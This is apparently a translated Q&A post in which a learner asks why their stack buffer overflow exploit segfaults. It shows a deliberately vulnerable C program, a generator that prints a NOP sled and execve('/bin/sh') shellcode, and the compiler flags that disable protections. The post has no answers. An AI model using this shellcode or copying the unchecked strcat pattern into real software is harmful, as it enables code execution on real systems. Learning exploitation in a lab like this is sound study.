提问人:Jan 提问时间:11/14/2023 最后编辑:Jan 更新时间:11/14/2023 访问量:74
为我的易受攻击的程序执行缓冲区溢出不起作用
Executing a Buffer Overflow for my vulnerable program not working
问:
我在 C 语言中有以下程序:
#include <stdio.h>
#include <string.h>
void foo(char * name) {
char buf[128];
strcpy(buf, "The next step is... ");
strcat(buf, name);
strcat(buf, ".");
puts(buf);
}
int main(int argc, char ** argv) {
if (argc < 2)
puts("Please enter a command line parameter.");
else
foo(argv[1]);
return 0;
}
这是我利用代码的程序:
#include <stdio.h>
#include <string.h>
char shellcode[] = "\xeb\x02\xeb\x15\xe8\xf9\xff\xff\xff"
"/bin/shXYYYYZZZZ\x5b\x89\x5b\x08\x31"
"\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b"
"\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"
"\x30\xf3\xff\bf";
int main() {
int i;
//128 buffer length, 20 string length, 4 oldEBP, 4 return address
for (i=0; i<128-20-strlen(shellcode)+4+4; i++) printf("\x90");
printf("%s", shellcode);
return 0;
}
易受攻击的程序编译如下:
gcc -fno-stack-protector -z execstack -m32 -fno-pie -g -o vuln vuln.c
我从 gdb 获取返回地址:
(gdb) x/xb buf
0xbffff330: 0x88
我遇到分段错误,我想知道我是否错过了要覆盖的地址或我做错了什么。
它在 32 位 Ubuntu 10.04 VM 上运行。
运行:i r
答: 暂无答案
评论
foo
some_function